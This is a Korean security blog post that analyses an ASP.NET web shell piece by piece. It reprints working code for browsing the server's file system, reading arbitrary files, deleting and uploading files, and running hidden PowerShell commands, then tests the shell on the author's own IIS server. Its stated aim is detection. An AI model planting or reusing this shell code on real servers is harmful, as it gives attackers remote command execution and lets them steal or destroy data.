본 글에서는 ASP.NET 웹쉘 코드를 분석해 보고자 한다.
분석 내용을 통해 어떤 방식으로 웹쉘 스크립트가 구현되는지 전체적인 구조를 이해할 수 있기를 바란다.
[기능]
분석 대상 웹쉘은 ASP.NET 웹 페이지(.aspx)로 구현되어 있으며, 다음과 같은 주요 기능들을 포함하고 있다.
- 파일 시스템 탐색
- 파일 업로드/다운로드
- 파일 삭제
- PowerShell 명령어 실행
[주요 컴포넌트 분석]
1. Namespace Import
<%@ Import Namespace="System.Web.UI.WebControls" %>
<%@ Import Namespace="System.Diagnostics" %>
<%@ Import Namespace="System.IO" %>
파일 시스템 조작(System.IO), 프로세스 실행(System.Diagnostics), 웹 컨트롤(System.Web.UI.WebControls) 기능을 사용하기 위해 관련 Namespace를 Import한다.
2. 디렉터리 탐색 기능
string out = "";
string dir = Page.MapPath(".") + "/";
if (Request.QueryString["fdir"] != null)
dir = Request.QueryString["fdir"] + "/";
string[] parts = dir.Split('/');
string walk = "";
foreach (string p in parts)
{
if (p.Length == 0)
continue;
walk += p + "/";
out += string.Format("<a href='?fdir={0}'>{1}/</a> ");
}
- Page.MapPath(".")를 사용해서 물리적 경로를 찾아낸다.
(예: C:/inetpub/wwwroot) - Request.QueryString은 ASP.NET에서 URL의 쿼리 문자열(Query String) 매개변수를 읽는데 사용되는 컬렉션이다.
이것을 사용해서 URL에 fdir 파라미터가 존재할 경우 해당 값을 경로로 사용한다.
(예: http://www.example.com/webshell.aspx?fdir=C:/Windows) - 경로를 '/' 기준으로 분할하여 각 디렉토리 부분을 배열로 저장하고, 각 디렉터리에 대해 클릭 가능한 네비게이션 링크를 생성한다.
이 때 walk는 누적 경로를 저장한다.(예: C: → C:/Windows → C:/Windows/System32) - out 변수를 이용해 HTML로 표현해준다.
웹 인터페이스를 통해 서버의 파일 시스템을 자유롭게 탐색할 수 있게 해주는 기능을 제공한다.
2.1 테스트용 메인화면
웹쉘 테스트화면 구현을 위해 내 PC에 IIS 서버를 구축했으며 아래와 같이 메인화면이 보인다. 메인 화면에는 ①디렉터리를 이동하도록 경로가 표기되어 있으며 ②파워쉘을 입력하기 위한 입력창, ③파일을 보여주고 클릭 시 내용을 확인할 수 잇는 리스트, ④파일삭제 버튼, ⑤파일업로드 부분이 구현되어 있는 것을 볼 수 있다.
그리고 상위 디렉터리로 이동하기 위해 경로상의 inetpub을 클릭해 보았다.
아래와 같이 상위 디렉터리 파일이 표시되고 있다.
파일크기가 나오지 않는 것을 보인 전부 폴더로 보인다.
3. 파일 다운로드
if ((Request.QueryString["get"] != null) && (Request.QueryString["get"].Length > 0))
{
Response.WriteFile(Request.QueryString["get"]);
Response.End();
}
- URL 파라미터 'get'으로 다운로드할 파일 경로를 받는다.(예: webshell.aspx?get=C:/example/test.txt)
- Response.WriteFile()는 서버의 물리적 파일 경로를 받아서 해당 파일을 읽고 읽은 내용을 그대로 응답값에 작성해준다.
Response.WriteFile()를 이용해 파일을 다운로드 받는다. - Response.End()로 응답 전송을 완료한다.
3.1 파일 다운로드 테스트
메인화면의 파일 리스트에 test_text.txt가 보인다. 이 파일을 클릭해 보자.
그러면 아래와 같이 텍스트 파일의 텍스트가 출력된다. 파일로 다운로드하는 형태가 아니라 화면에 보여주는 형태로 구현되어 있기 때문이다.
그리고 URL을 보면 get=C%3a%2finetpub%2fwww.root%2f%2ftest_text.txt로 작성되어 있는 것을 볼 수 있다. 이를 디코딩하면 다음과 같은 경로정보가 확인된다.
- C:/inetpub/www.root//test_text.txt
get이라는 파라미터의 값에 파일 전체 경로정보를 넣어서 출력시켜주고 있다.
4. 파일 삭제
if ((Request.QueryString["del"] != null) && (Request.QueryString["del"].Length > 0))
File.Delete(Request.QueryString["del"]);
- URL 파라미터 'del'로 삭제할 파일 경로를 받는다.(예: webshell.aspx?del=C:/temp/test.log)
- File.Delete()는 .NET Framework의 System.IO 네임스페이스에 있는 메서드이며, 이는 지정된 파일을 영구적으로 삭제하는 기능을 수행한다.
File.Delete()를 이용해 지정된 파일을 즉시 삭제한다.
5. 파일 업로드
if(up.HasFile)
{
string fileName = up.FileName;
int splitAt = up.FileName.LastIndexOfAny(new char[] { '/' });
if (splitAt >= 0)
fileName = up.FileName.Substring(splitAt);
up.SaveAs(dir + "/" + fileName);
}
- 웹 페이지 내에서 ASP.NET FileUpload 컨트롤을 통해 up 변수에 파일 정보를 저장한다.
- 파일 이름 처리:
- 파일 경로에서 실제 파일명만 추출
- '/' 이후의 마지막 부분을 파일명으로 사용 - 현재 디렉토리(dir)에 파일을 저장한다.
웹 인터페이스를 통해 파일 다운로드, 삭제, 업로드를 수행하는 기능을 제공한다.
6. 명령어 실행 기능
if (tCn.Text.Length > 0)
{
Process p = new Process();
p.StartInfo.CreateNoWindow = true;
p.StartInfo.FileName = "powershell.exe";
p.StartInfo.Arguments = "-w 1 " + tCn.Text;
p.StartInfo.WorkingDirectory = dir;
p.Start();
}
- 웹 페이지에서 특정 테스트를입력하게 될경우 tCn 변수를 통해 텍스트 정보를 가져온다.
- CreateNoWindow를 true로 설정하여 명령 프롬프트 창이 화면에 표시되지 않도록 한다.
- -w 1 옵션을 통해 윈도우 스타일을 Hidden으로 설정하여 GUI요소를 숨김 처리한다.
- WorkingDirectory를 dir로 설정하여 명령어 실행 컨텍스트의 기준 디렉토리 설정한다.
- p.Start()로 PowerShell 프로세스 실행한다.
PowerShell 명령어를 실행하는 기능을 제공한다.
6.1 명령어 실행 테스트
메인 화면의 명령어 입력 창에 파워쉘에서 현재 경로를 출력하는 명령어(Get-Location)를 입력해 보았다.
아래와 같이 현재 경로가 출력되는 것을 확인할 수 있다.
본 내용은 웹쉘의 구조에 대해 이해하기 위해 작성 하였으며, 실제 웹쉘이 우리 서버에 업로드 되었을 때 이를 인지하는데 도움을 줄 수 있기를 바란다.
'보안' 카테고리의 다른 글
JavaScript의 독특한 난독화 기법인 JSFuck에 대해 알아보자 (0) | 2025.06.27 |
---|---|
NXDomain(Non-eXistent Domain)을 이용한 DNS 공격 - NXDomain Flooding Attack, Subdomain Scanning Attack (0) | 2024.07.10 |